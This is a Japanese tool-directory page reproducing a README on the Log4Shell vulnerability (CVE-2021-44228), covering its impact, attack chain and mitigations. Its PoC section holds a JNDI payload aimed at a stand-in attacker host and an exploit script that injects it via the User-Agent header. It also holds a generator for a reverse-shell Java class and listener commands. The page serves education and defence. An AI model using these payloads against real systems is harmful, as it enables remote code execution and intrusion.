Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-44228 | Kitploit
ツール/GitHubGitHub/kaleth4/cve-2021-44228
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🛡️ CVE-2021-44228: Log4Shell分析 - Javaセキュリティに革命をもたらした脆弱性

重大な影響(CVSS 10.0) | 2021年に発見されたApache Log4jのこの欠陥は、リモートコード実行(RCE)を可能にし、世界中の何百万ものシステムに影響を与えました。今日でも、サイバーセキュリティにおける重要な教訓です!

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 Log4Shellとは?

CVE-2021-44228は、Log4Shellとして知られる、Apache Log4j 2ロギングライブラリにおける重大な**リモートコード実行(RCE)**脆弱性です。この欠陥により、悪意のある攻撃者は、アプリケーションが記録する特別に細工されたテキスト文字列を送信するだけで、脆弱なサーバー上で任意のコードを実行できます。

  • なぜそれほど危険なのか? Log4jは、クラウドサービス、Webアプリ、エンタープライズソフトウェアなど、Javaアプリケーションの至るところで使用されています。その悪用には認証が不要で、HTTPヘッダー、フォーム、チャットなどのユーザー入力を通じて簡単に拡散する可能性があります。
  • 発見者: Alibaba Cloud SecurityのChen Zhaojun氏(2021年11月)。2021年12月9日に公開開示され、CISA、NCSCなどの世界的な警告を引き起こしました。
  • 世界的な影響: 数億台のデバイスに影響を与えました。Minecraft、Twitter、Ciscoなどの企業が影響を受けました。大規模な攻撃が観測され、ピーク時には1分間に100件以上に達しました。

Log4Shellは単独ではありません。CVE-2021-45046(RCE/DoS)、CVE-2021-45105(DoS)、CVE-2021-4104(Log4j 1.2のRCE)を生み出しました。


💀 攻撃ベクトルと動作メカニズム

問題の核心は、Log4jにおける**JNDI(Java Naming and Directory Interface)**の安全でない処理です。これは、サニタイズなしでリモートルックアップを解決します。

基本的なペイロードの例

root@kitploit:~
${jndi:ldap://atacante.com:1389/Exploit}

仕組み:

  1. 攻撃者はペイロードを、記録されるメッセージ(例:HTTPのUser-Agent)に注入します。
  2. Log4jが${...}を検出し、JNDIルックアップを起動します。
  3. 脆弱なサーバーが攻撃者のLDAP/RMI/DNSサーバーに接続します。
  4. 悪意のあるJavaクラスがダウンロードされ、実行されます(例:リバースシェル)。

悪用可能なプロトコル: LDAP、RMI、DNS、IIOPなど。これにより以下のような脅威が可能になります:

  • コインマイニング: 暗号通貨マイニングのためのリソースの窃取。
  • ランサムウェア: データの暗号化(例:Khonsari、Night Sky)。
  • DoS/DDoS: システムの過負荷(例:Miraiボットネット経由)。
  • ラテラルムーブメント: 権限昇格のためのCobalt Strikeなどのツール。

感染チェーン(キルチェーン):

  1. 偵察: Log4jを検出するためのポートとヘッダーのスキャン。
  2. 注入: サニタイズされていない入力へのペイロードの送信。
  3. 解決: JNDIが攻撃者のサーバーに接続。
  4. 実行: 悪意のあるコードがロードされ実行される(例:Kinsingなどのマルウェアのダウンロード)。
  5. 永続化: 認証情報の窃取(/etc/passwd、/etc/shadow)またはバックドアのインストール。

📈 技術的詳細

影響の統計:

  • 当初、クラウド環境の90%以上が露出。
  • 国家支援グループ(中国、北朝鮮)やサイバー犯罪者によって悪用。
  • 最初のパッチ:Log4j 2.15.0(2021年12月)だが不完全。安全なバージョン:2.17.1以降。

🚀 教育用概念実証(PoC)

⚠️ 警告: このコンテンツは教育目的および許可されたテスト専用です。明示的な許可なしにシステムで使用しないでください。許可なく脆弱性を悪用することは違法です(例:米国のCFAAなどの法律に違反)。常に倫理的なペンテストを実施してください。

kozmer/log4j-shell-pocなどの公開リポジトリに基づく、管理された環境(例:ローカルのDocker/VM)でのPoCの簡略化された概要です。

シミュレーションの一般的な手順(脆弱な環境)

  1. リポジトリをクローン: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
  2. Dockerを構築: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
  3. 脆弱なJavaをインストール(例:JDK 8u202): 信頼できるミラーからダウンロードし、展開してパスを設定します(例:/usr/bin/jdk1.8.0_202)。
  4. PoCスクリプト(poc.py)を修正: JavaのパスとIPを調整します。修正済みスニペットの例(簡略版):
root@kitploit:~
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
    public Exploit() throws Exception {{
        String host="{userip}";
        int port={lport};
        String cmd="/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        // ... (código de shell inversa simplificado)
    }}
}}
"""
    p = CUR_FOLDER / "Exploit.java"
    try:
        p.write_text(program)
        subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
        print(Fore.GREEN + '[+] Clase Exploit generada exitosamente')
    except Exception as e:
        print(Fore.RED + f'[-] Error: {e}')

# ... (funciones para LDAP server y web server similares al original)

def main():
    init(autoreset=True)
    print(Fore.BLUE + "[!] PoC Educativa para CVE-2021-44228 - ¡Úsala solo en labs!")
    # Argumentos: --userip localhost --webport 8000 --lport 9001
    # Lanza LDAP, web server y genera payload

if __name__ == "__main__":
    main()
  1. 実行: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
  2. リスナー(Netcat): nc -lvnp 9001 - リバースシェルを監視します。
  3. ペイロードを注入: 脆弱なアプリ(http://localhost:8080)のログイン/検索フィールドで`${jndi:ldap://127.0.0.1:1389/a}`を使用します。
  4. 確認: Netcatでの接続。ターミナルのログにJNDI解決が表示されます。

シンプルなPython PoC(リスナー+エクスプロイト):

クイックデモ用に、この2つのスクリプトを使用します(最初にリスナーを実行)。

listener.py:

root@kitploit:~
import socket
import threading

def start_listener(ip, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((ip, port))
    server.listen(1)
    print(f"[*] Listener en {ip}:{port}...")
    conn, addr = server.accept()
    print(f"[+] Conexión de {addr}")
    data = conn.recv(4096)
    print(data.decode('utf-8', errors='ignore'))
    conn.close()

if __name__ == "__main__":
    threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
    input("Presiona Enter para detener...\n")  # Mantiene vivo

exploit.py:

root@kitploit:~
import requests
import argparse

def send_exploit(target, lhost, lport):
    payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
    headers = {'User-Agent': payload}
    try:
        r = requests.get(target, headers=headers, timeout=10)
        print(f"[+] Enviado a {target} | Status: {r.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-l", "--lhost", required=True)
    parser.add_argument("-p", "--lport", type=int, default=1389)
    args = parser.parse_args()
    send_exploit(args.target, args.lhost, args.lport)

実行: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"

注意: 模擬LDAPにはMarshalsecが必要です。隔離されたラボでのみテストしてください。


🛡️ 緩和策とパッチ

今すぐ行動しましょう!Log4Shellは更新と設定で回避可能です。

1. 推奨アップデート(優先度:高)

  • Log4j 2.17.1以降にアップグレード(デフォルトでJNDIを無効化)。
  • ダウンロード:Apache Log4j Releases。
  • mvn dependency:treeやSnykなどのツールで間接的な依存関係を確認。

2. クイックフィックス(一時的)

  • JVMフラグ: -Dlog4j2.formatMsgNoLookups=true
  • 環境変数: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  • Log4j設定: log4j2.xmlで、<Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>を追加

3. 手動での削除

root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • JARからJNDIクラスを削除します。

4. 追加の対策

  • WAF/IPS: ${jndi:*}ペイロードをブロック(例:ModSecurityやCloudflareのルール)。
  • スキャン: NucleiやNessusなどのツールを使用して脆弱なバージョンを検出。
  • 仮想パッチ: リモートルックアップをブロックするためにファイアウォールに実装。
  • 監視: アンチウイルス/EDRを更新(例:Log4Shell用のSeqrite IPSルール)。

派生CVEについて:

  • CVE-2021-45046:2.16.0以降に更新し、メッセージルックアップを無効化。
  • CVE-2021-45105:デフォルト以外の設定での再帰的ルックアップを回避。
  • CVE-2021-4104:Log4j 1.2でJNDI付きのJMSAppenderを使用しない。

📚 追加リソース

  • 公式:
    • NVD - CVE-2021-44228
    • Apache Log4j Security Bulletin
  • ガイド:
    • Microsoft Defender: Log4Shellの管理
    • Tenable: Log4Shellに関するFAQ
    • Trend Micro: 影響と緩和策
  • 教育用PoC: GitHub - Log4j Shell PoC(法的免責事項付き)。
  • 高度な分析: Seqrite: 無差別な悪用

このREADME.mdはサイバーセキュリティの教育と啓発を目的としています。違法行為を促進するものではありません。セキュリティ専門家であれば、OWASP Dependency-Checkなどのツールを使用して環境を評価してください。より安全な世界のためにシステムを最新に保ちましょう! 🔒

最終更新:2023年までのデータに基づく。最新情報は公式ソースを確認してください。

ツールをダウンロード
特性詳細
CVSS v3.1スコア10.0(クリティカル) 🔥 - 可能な最大の深刻度。
影響を受けるバージョンLog4j 2.0-beta9から2.14.1(サブCVEについては2.16.0までの派生版を含む)。
根本原因検証なしのJNDIメッセージ置換。リモートルックアップが有効。
ベクトルリモート、認証不要。Web/クラウドアプリのJava 8+に影響。
影響を受ける製品Apache Struts、Solr、Druid、Elasticsearch、Dubbo、VMware vCenterなど。
悪用可能性容易:GitHubに公開PoCあり。特権は不要。